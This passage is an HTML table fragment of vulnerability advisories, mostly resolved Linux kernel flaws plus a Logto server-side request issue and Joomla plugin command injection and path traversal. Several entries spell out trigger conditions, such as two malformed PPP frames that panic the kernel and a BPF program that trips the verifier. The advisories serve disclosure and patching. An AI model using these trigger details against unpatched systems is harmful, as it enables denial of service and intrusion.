&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ntfs: treat any nonzero dio zero-range return as an error ntfs_dio_zero_range() returns either 0 or a negative errno from blkdev_issue_zeroout(); it never returns a positive value. The zeroing failure check in ntfs_attr_fallocate() therefore never fired, so a failed zeroing operation was silently ignored: the loop kept going, the newly allocated clusters were folded into initialized_size and the write could succeed leaving stale on-disk data. Treat any nonzero return as an error and abort the allocation.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98137&quot; target=&quot;_blank&quot;&gt;CVE-2026-98137&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ntfs: do not mark the volume clean in sync_fs when errors were recorded ntfs_put_super() and the remount-read-only path both clear the dirty bit only when NVolErrors(vol) is false. ntfs_sync_fs() clears it unconditionally, so any sync() on a volume that recorded an error marks that volume clean. A volume without this set is then seen as not needing recovery and it does not run one, so whatever went wrong is never repaired. This change skips resetting the dirty bit when there are volume errors. Reproduced on a volume whose $MFTMirr does not match $MFT, which sets the error flag while leaving the mount read-write: after a write and a sync, the on-disk volume flags read 0x0000 with this driver and 0x0001 with the guard in place.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98138&quot; target=&quot;_blank&quot;&gt;CVE-2026-98138&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ntfs: only count successfully cleared runs when freeing clusters ntfs_cluster_free_from_rl_nolock() adds a run&#039;s length to nr_freed whenever the error bookkeeping condition is false, which includes cases where ntfs_bitmap_clear_run() actually failed - e.g. a second run failing with the same errno as an earlier one, or any failure after a non-ENOMEM error was already recorded. Since a failed ntfs_bitmap_clear_run() rolls back its partial modifications, no bits were cleared for that run, yet its length still inflates vol-&amp;gt;free_clusters, corrupting statfs output and the allocator&#039;s free space gate. Only count runs whose bitmap clear succeeded.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98139&quot; target=&quot;_blank&quot;&gt;CVE-2026-98139&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ntfs: fix kmap_local leak in write_mft_record_nolock() error paths write_mft_record_nolock() maps the MFT record folio with kmap_local_folio(), but the pre_write_mst_fixup() and bio_add_folio() failure paths jump to the error label without unmapping it. kmap_local mappings are stack-ordered per task, so leaking one corrupts the nesting for any outer mapping. Unmap the folio on those error paths too.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98140&quot; target=&quot;_blank&quot;&gt;CVE-2026-98140&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ntfs: propagate reparse index insertion failure update_reparse_data() ignores the return value of set_reparse_index(). When index insertion fails, the code removes the just-written reparse data as cleanup but still returns 0, so symlink(2) (and WSL special file creation) reports success while no reparse data exists on disk. When there was no previous reparse data (oldsize == 0), the failure was likewise silently ignored. Propagate the error to the caller.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98141&quot; target=&quot;_blank&quot;&gt;CVE-2026-98141&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/cirrus-qemu: Validate BAR0 size during probe The `cirrus-qemu` driver relies on `CIRRUS_VRAM_SIZE` (4 MB) to validate framebuffer sizes. However, during PCI probe, the driver mapped BAR0 without verifying that its size matches `CIRRUS_VRAM_SIZE`. If a PCI device with a BAR0 smaller than 4 MB is bound to the driver, the mapped VRAM will be smaller than expected. Because validation checks assume 4 MB VRAM, framebuffers larger than the mapped memory can be created. When the display plane is updated (e.g. during release), `cirrus_primary_plane_helper_atomic_update()` copies the framebuffer to VRAM using `drm_fb_memcpy()`. Writing past the end of the mapped I/O memory causes a supervisor write page fault: BUG: unable to handle page fault for address: ffffc9000389c000 ... RIP: 0010:memcpy_toio+0x7c/0xe0 arch/x86/lib/iomem.c:110 ... Call Trace: &amp;lt;TASK&amp;gt; iosys_map_memcpy_to include/linux/iosys-map.h:285 [inline] drm_fb_memcpy+0x325/0x5d0 drivers/gpu/drm/drm_format_helper.c:442 cirrus_primary_plane_helper_atomic_update+0x98a/0xb00 drivers/gpu/drm/tiny/cirrus-qemu.c:358 drm_atomic_helper_commit_planes+0x626/0xea0 drivers/gpu/drm/drm_atomic_helper.c:3038 drm_atomic_helper_commit_tail+0x60/0x510 drivers/gpu/drm/drm_atomic_helper.c:1989 commit_tail+0x2b1/0x3c0 drivers/gpu/drm/drm_atomic_helper.c:2074 drm_atomic_helper_commit+0xa77/0xb10 drivers/gpu/drm/drm_atomic_helper.c:2312 Fix this by validating in `cirrus_pci_probe()` that the PCI BAR0 resource is not less than `CIRRUS_VRAM_SIZE`, returning `-ENODEV` if it is less.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98142&quot; target=&quot;_blank&quot;&gt;CVE-2026-98142&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: accel/amdxdna: put the chained BO when its mapping fails amdxdna_cmd_set_error() looks up the first BO of a command chain, which takes a reference, and drops it at the end of the function. The mapping of that BO is established in between, and the failure path returns without the put, so the reference is leaked. Ordinary use does not reach it. The chain has been submitted before any of this runs, so aie2_cmdlist_fill_slot() has already called amdxdna_cmd_get_op() on that BO and amdxdna_gem_vmap() has cached its address. What makes it reachable is that the BO is resolved again by handle here, and the handle is userspace&#039;s to recycle: closing it after submission and importing a dma-buf whose exporter implements no vmap onto the same id leaves amdxdna_gem_get_obj() returning an object this cannot map, since prime_import() types every import AMDXDNA_BO_SHARE.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98144&quot; target=&quot;_blank&quot;&gt;CVE-2026-98144&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: accel/amdxdna: reject a command chain that carries no commands A chain whose command_count is zero passes the payload length check, because struct_size(payload, data, 0) is just the header. The fill loop then does not run, so offset stays zero and the request is submitted with a zero-length buffer. On firmware without AIE2_NPU_COMMAND that ends at the opcode check, since op is still ERT_INVALID_CMD and aie2_get_chain_msg_op() answers MSG_OP_MAX_OPCODE. aie2_get_npu_chain_msg_op() answers MSG_OP_CHAIN_EXEC_NPU whatever it is given, so there the submission continues to drm_clflush_virt_range(cmd_buf, 0), which reads the byte before the buffer and faults on the vmap guard page. EXEC_CMD is reachable by any process that can open the render node. Reject the request instead.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98145&quot; target=&quot;_blank&quot;&gt;CVE-2026-98145&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: accel/amdxdna: Remove __counted_by from struct amdxdna_cmd_chain struct amdxdna_cmd_chain contains a flexible array annotated with __counted_by(command_count). Since the structure is stored in shared AMDXDNA_BO_SHARE memory, userspace can modify command_count concurrently. If command_count is changed to zero, the bounds check generated from __counted_by may fail and trigger a kernel panic. Remove __counted_by to avoid relying on the userspace-controlled command_count for the flexible array bounds check.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98146&quot; target=&quot;_blank&quot;&gt;CVE-2026-98146&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: printk: Don&#039;t WARN on kthread_run failure. Since __kthread_create_on_node() returns -EINTR upon SIGKILL, we should not use WARN_ON() in order to catch kthread_run() failure.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98147&quot; target=&quot;_blank&quot;&gt;CVE-2026-98147&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/gud: validate GUD_ROTATION_0 is present in supported rotations The rotation argument to drm_plane_create_rotation_property() is set to DRM_MODE_ROTATE_0, and the device reported rotation bitmask is used as the supported_rotations argument. The driver never validates that GUD_ROTATION_0 is present, so a device that omits it from its GUD_PROPERTY_ROTATION triggers the WARN_ON(rotation &amp;amp; ~supported_rotations) in drm_plane_create_rotation_property() Fix this by skipping the creation of rotation property if the device doesn&#039;t have the GUD_ROTATION_0 bit&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98148&quot; target=&quot;_blank&quot;&gt;CVE-2026-98148&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bpf: Fix percpu map update indexing with sparse CPU IDs Per-CPU array, hash, and cgroup storage map updates without BPF_F_CPU or BPF_F_ALL_CPUS use a value buffer whose per-CPU slots are packed in possible-CPU order. The buffer is sized as: round_up(value_size, 8) * num_possible_cpus() The update paths iterate over possible CPUs, but use the logical CPU ID to calculate the source offset: value + size * cpu This only works when possible CPU IDs are contiguous starting at zero. For example, with a possible CPU mask of 0,2-3, the buffer contains three slots corresponding to CPUs 0, 2, and 3. CPU2 is therefore expected to use slot 1 and CPU3 slot 2. Instead, the current code uses slots 2 and 3 respectively, causing incorrect per-CPU values and an out-of-bounds read from the update buffer for CPU3. The corresponding lookup paths already use a dense offset while iterating over possible CPUs. Do the same for the array, hash, and cgroup storage update paths, advancing the source offset once for each possible CPU. BPF_F_ALL_CPUS continues to use the same value for every CPU.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98149&quot; target=&quot;_blank&quot;&gt;CVE-2026-98149&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bpf: Fix REG INVARIANTS VIOLATION on speculative pointer arithmetic Take the following unprivileged program as an example: r0 = bpf_map_lookup_elem(...) /* PTR_TO_MAP_VALUE, offset 0 */ ... 14: r0 += r1 /* r1 is a bounded scalar */ 15: r9 = r0 Loading it triggers a verifier warning from reg_bounds_sanity_check(): verifier bug: REG INVARIANTS VIOLATION (alu): const subreg tnum out of sync with range bounds r64={.base=0x0, .size=0x0} r32={.base=0x0, .size=0xffffffff} var_off=(0x0, 0x0) What happens: 1. Processing insn 14 (r0 += r1) in adjust_ptr_min_max_vals(), the new offset is computed into dst_reg&#039;s var_off and 32/64-bit ranges. 2. Because pointer registers do not track 32-bit subregister bounds, __mark_reg32_unbounded() first sets r32 to the full range; r32 is re-derived from the offset at the end of the function by reg_bounds_sync(). 3. On the unprivileged path, sanitize_ptr_alu() is called and, via sanitize_speculative_path() -&amp;gt; push_stack(), snapshots the current register state and schedules the next instruction (insn 15) to be verified directly as a speculative path. 4. That snapshot is taken between step 2 and the final reg_bounds_sync(): at this point dst_reg&#039;s var_off still holds the (const) original offset while r32 has just been blanked to the full range, i.e. the two are out of sync. When the speculative path later verifies insn 15 (r9 = r0), the inconsistent state reaches reg_bounds_sanity_check() and trips the warning. var_off and the 32-bit range must always be consistent. There are two ways to keep the snapshot consistent: 1. sync var_off and r32 before the snapshot so they match, or 2. leave r32 at its original (already consistent) value and blank it only after the snapshot. The whole point of sanitize_ptr_alu() is to insert a harmless masking sequence that keeps the access in bounds under speculation, so the state it snapshots should faithfully represent that. Take approach 2: move __mark_reg32_unbounded() to after sanitize_ptr_alu(), so the speculative snapshot keeps the pointer&#039;s original, consistent r32. The non-speculative path is unchanged: r32 is still blanked before the offset is applied and re-derived by reg_bounds_sync().&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98151&quot; target=&quot;_blank&quot;&gt;CVE-2026-98151&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nvmet-rdma: fix queue leak when connect backlog is exceeded When pending disconnecting queues exceed the backlog limit, the connect path only drops the device reference and leaks the newly allocated queue and its IB resources.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98152&quot; target=&quot;_blank&quot;&gt;CVE-2026-98152&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nvme: fix racy access to FDP placement id array nvme_query_fdp_info() is called per-path and therefore prone to races. It populates head-&amp;gt;nr_plids/head-&amp;gt;plids for fdp registration. But nothing protects that pair from concurrent access - two paths scanning the same namespace can race to populate it. Avoid the race by moving this initialization work to nvme_alloc_ns_head() which is called once per shared namespace.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98153&quot; target=&quot;_blank&quot;&gt;CVE-2026-98153&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: accel/qaic: Address potential out-of-bounds read in resp_worker() Although &#039;commit 2feec5ae5df7 (&quot;accel/qaic: Handle DBC deactivation if the owner went away&quot;)&#039; fixes the scenario it was intended for by walking the message and only decoding QAIC_TRANS_DEACTIVATE_FROM_DEV, if present, it skipped over the bounds checking code that is included in decode_message(). This could lead to issues such as reading past the slab allocation&#039;s end, infinite loops or kernel panics. For those issues to happen, a malformed wire message is needed to be sent from the device. Instead of duplicating the bounds checking code already present in decode_message(), use the function inside resp_worker().&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98155&quot; target=&quot;_blank&quot;&gt;CVE-2026-98155&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: EDAC/device_sysfs: Use kstrtouint() for poll_msec to prevent truncation The poll_msec sysfs store file uses simple_strtoul() which accepts an unsigned long, but the target field (poll_msec) is unsigned int. On 64-bit systems, a value &amp;gt; UINT_MAX is silently truncated when stored. Fix the mismatch by using kstrtouint() instead. This rejects values larger than UINT_MAX at parse time, making truncation impossible. Also add a check for value &amp;lt; 1 to reject the 0-delay case, which would cause the poll work to spin without delay and consume 100% CPU.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98157&quot; target=&quot;_blank&quot;&gt;CVE-2026-98157&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ppp_async: drop the errored frame instead of resetting its headroom ppp_receive_nonmp_frame() prepends a two-byte direction tag before running the pass/active BPF filters: *(__be16 *)skb_push(skb, 2) = htons(PPP_FILTER_INBOUND_TAG); Nothing on the receive path guarantees those two bytes of headroom. The frame-error path in ppp_async&#039;s process_input_packet() resets a reused skb&#039;s headroom to zero while claiming to restore it to a freshly allocated state - but a fresh skb from dev_alloc_skb() carries NET_SKB_PAD: err: if (skb) { /* make skb appear as freshly allocated */ skb_trim(skb, 0); skb_reserve(skb, - skb_headroom(skb)); } ap-&amp;gt;rpkt still points at that skb, so the next frame is reassembled into it with no headroom at all. A peer that sends a bad-FCS frame followed by one beginning ff 03 then leaves a single byte of headroom by the time the filter tag is pushed, which lands one byte below skb-&amp;gt;head: skbuff: skb_under_panic: len:49 put:2 head:ffff888003c10000 data:ffff888003c0ffff tail:0x30 end:0x640 dev:&amp;lt;NULL&amp;gt; kernel BUG at net/core/skbuff.c:214! RIP: 0010:skb_panic+0x13e/0x230 Call Trace: skb_push+0xbd/0x100 ppp_receive_nonmp_frame+0x48a/0x1d10 ppp_input+0x4e9/0x2f80 ppp_async_process+0x2a/0xe0 tasklet_action_common+0x20f/0x8a0 handle_softirqs+0x18e/0x590 Kernel panic - not syncing: Fatal exception in interrupt Zeroing the headroom violates the NET_SKB_PAD guarantee that dev_alloc_skb() gives the rest of the receive path. Besides the filter panic above, when CCP compression is enabled ppp_decompress_frame() hands skb-&amp;gt;data - 2 to -&amp;gt;decompress()/-&amp;gt;incomp(), which then reads out of bounds before skb-&amp;gt;head for the same reason. Rather than restore the headroom, drop the errored frame - as ppp_synctty already does on its error path - and clear ap-&amp;gt;rpkt so the next frame is reassembled into a fresh skb with proper headroom. This is simpler and fixes both the filter under-panic and the CCP out-of-bounds read. The original V1 of this patch made room in ppp_receive_nonmp_frame() with skb_cow_head(); Eric pointed out that fixing the root cause in the transport is the right approach. Found by fuzzing the PPP receive path with a mutating peer on a pty; it is an interesting (remote) DoS: root configures PPP, the peer supplies two crashing frames. The reproducer (repro-ppp-skb.c, unchanged from v1) panics in about a second, and returns cleanly with this applied.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98158&quot; target=&quot;_blank&quot;&gt;CVE-2026-98158&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: mt76: mt7921: validate CLC firmware records The CLC region is supplied by firmware, but the loader trusts the region count and each record length. A malformed image can make the region table pointer precede the firmware buffer, make the record loop fail to advance, or index phy-&amp;gt;clc past its end. Validate the table and record bounds before dereferencing or copying.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98159&quot; target=&quot;_blank&quot;&gt;CVE-2026-98159&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: staging: rtl8723bs: fix mismatched free of HalData in rtw_sdio_if1_init() padapter-&amp;gt;HalData is allocated via vzalloc(), but incorrectly freed using kfree() in the rtw_sdio_if1_init() error path. Using kfree() to release this vmalloc-backed buffer can lead to memory corruption. Use rtw_hal_data_deinit() to pair the free correctly and free HalData with vfree(). The bug was first flagged by an experimental static analysis tool we are developing for kernel memory-management bugs. Manual inspection confirms that the issue is still present in current mainline. An x86_64 allyesconfig build showed no new warnings. As we do not have suitable RTL8723BS SDIO hardware to test with, no runtime testing was able to be performed.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98160&quot; target=&quot;_blank&quot;&gt;CVE-2026-98160&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nvdimm: pmem: keep PREFLUSH before data writes pmem_submit_bio() records a REQ_PREFLUSH error, but continues to copy the bio data and can later overwrite the error with a successful REQ_FUA flush. That lets data writes run after a failed preflush and can complete the bio successfully despite the failed ordering barrier. Run the REQ_PREFLUSH flush synchronously before touching the bio data and complete the bio with the flush error if it fails. Keep asynchronous flush chaining for REQ_FUA. At that point, data copy has completed and the parent bio can wait for the chained flush bio.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98161&quot; target=&quot;_blank&quot;&gt;CVE-2026-98161&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: smb/server: fix tree connection leak in smb2_tree_connect() See the procedure below: smb2_tree_connect ksmbd_tree_conn_connect xa_store(&amp;amp;sess-&amp;gt;tree_conns, tree_conn-&amp;gt;id, tree_conn) ksmbd_counter_inc(KSMBD_COUNTER_TREE_CONNS) ksmbd_share_tree_conn_inc(sc) ksmbd_iov_pin_rsp // fail status.ret = KSMBD_TREE_CONN_STATUS_NOMEM // do not disconnect tree_conn Disconnect the new tree connection if ksmbd_iov_pin_rsp() fails.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98162&quot; target=&quot;_blank&quot;&gt;CVE-2026-98162&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: cgroup: Avoid iteration of dying tasks with zero refcount The commit 260fbcb92bbea (&quot;cgroup: Move dying_tasks cleanup from cgroup_task_release() to cgroup_task_free()&quot;) extended the lifetime of tasks on the dying_tasks list. The iterators have provision to go through dying_tasks because of dying threadgroup leaders or explicit CSS_TASK_ITER_WITH_DEAD, however, it was expected that such tasks can obtain a new reference (that is possible before cgroup_task_release()/put_task_struct_rcu_user()). The tasks after cgroup_task_release() and before cgroup_task_free() are subject to race when they may or may not have -&amp;gt;usage count &amp;gt; 0. The race window is between css_task_iter_next() invocations when css_set_lock is released and we may arrive at a new -&amp;gt;task_pos. The iterator should not attempt to resurrect tasks whose -&amp;gt;usage count dropped to zero. (When that happens, __put_task_struct_rcu_cb() is already imminent and the returned task_struct would could be used after free.) As for the fix, we cannot simply check the signal-&amp;gt;live count of a task on the dying list because that won&#039;t distinguish regular zombies waiting to be reaped from RCU remnant tasks that are going to be free&#039;d. Therefore add an extra check to rule out -&amp;gt;usage==0 tasks from any iteration. The repeat: loop in css_task_iter_advance() doesn&#039;t consider -&amp;gt;usage count, so add a new loop to css_task_iter_next() to skip de-used tasks on the dying_list. Rough illustration of the possible race R (reader of cgroup.procs) T (thread) L (group leader) --------------------------------- -------------------------------- -------------------------------- L exits, signal-&amp;gt;live &amp;gt; 0 cgroup_task_dead(L) css_set_skip_task_iters() // skips only cset-&amp;gt;tasks list_add_tail(&amp;amp;L-&amp;gt;cg_list, &amp;amp;cset-&amp;gt;dying_tasks) css_task_iter_next() take css_set_lock css_task_iter_advance() leader &amp;amp;&amp;amp; signal-&amp;gt;live != 0 =&amp;gt; it-&amp;gt;task_pos = &amp;amp;L-&amp;gt;cg_list release css_set_lock T exits --signal-&amp;gt;live == 0 cgroup_task_dead(T) // css_set_lock release_task(T) cgroup_task_release(T) release_task(L) // zap_leader cgroup_task_release(L) put_task_struct_rcu_user(L) ...RCU... put_task_struct(L) L-&amp;gt;usage = 0 /* L still on dying_tasks */ ...RCU... __put_task_struct(L) css_task_iter_next() // another iteration take css_set_lock it-&amp;gt;task_pos = &amp;amp;L-&amp;gt;cg_list get_task_struct(L) =&amp;gt; addition on 0 drop css_set_lock cgroup_task_free(L) css_set_skip_task_iters() // dying skip comes too late free_task(L) cgroup_procs_show() task_pid_vnr(L)&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98163&quot; target=&quot;_blank&quot;&gt;CVE-2026-98163&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;logto-io--logto&lt;/td&gt;
&lt;td&gt;Logto is the modern, open-source auth infrastructure for SaaS and AI apps. Prior to 1.43.0, Logto fetches administrator-controlled outbound destinations without validating the address used for the connection. Webhook delivery in packages/core/src/libraries/hook/utils.ts can reach special-use and cloud metadata addresses. Custom OAuth2 connectors can use an attacker-selected userInfoEndpoint and forward the OAuth access token in the Authorization header, while OIDC connectors can fetch an attacker-selected jwksUri. The affected operations require tenant administrative configuration access, but they cross the server&#039;s network boundary and can expose internal data or upstream provider credentials. This issue is fixed in version 1.43.0.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56739&quot; target=&quot;_blank&quot;&gt;CVE-2026-56739&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;lomart.fr--UP plugin for Joomla&lt;/td&gt;
&lt;td&gt;Joomla Extension - lomart.fr - Authenticated, privileged PHP command injection in UP plugin extension 5.0.0-5.2.0, 6.0.0-6.0.29&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97160&quot; target=&quot;_blank&quot;&gt;CVE-2026-97160&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;lomart.fr--UP plugin for Joomla&lt;/td&gt;
&lt;td&gt;Joomla Extension - lomart.fr - Various path traversal / file access vectors in UP plugin extension 5.0.0-5.2.0, 6.0.0-6.0.29&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97161&quot; target=&quot;_blank&quot;&gt;CVE-2026-97161&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
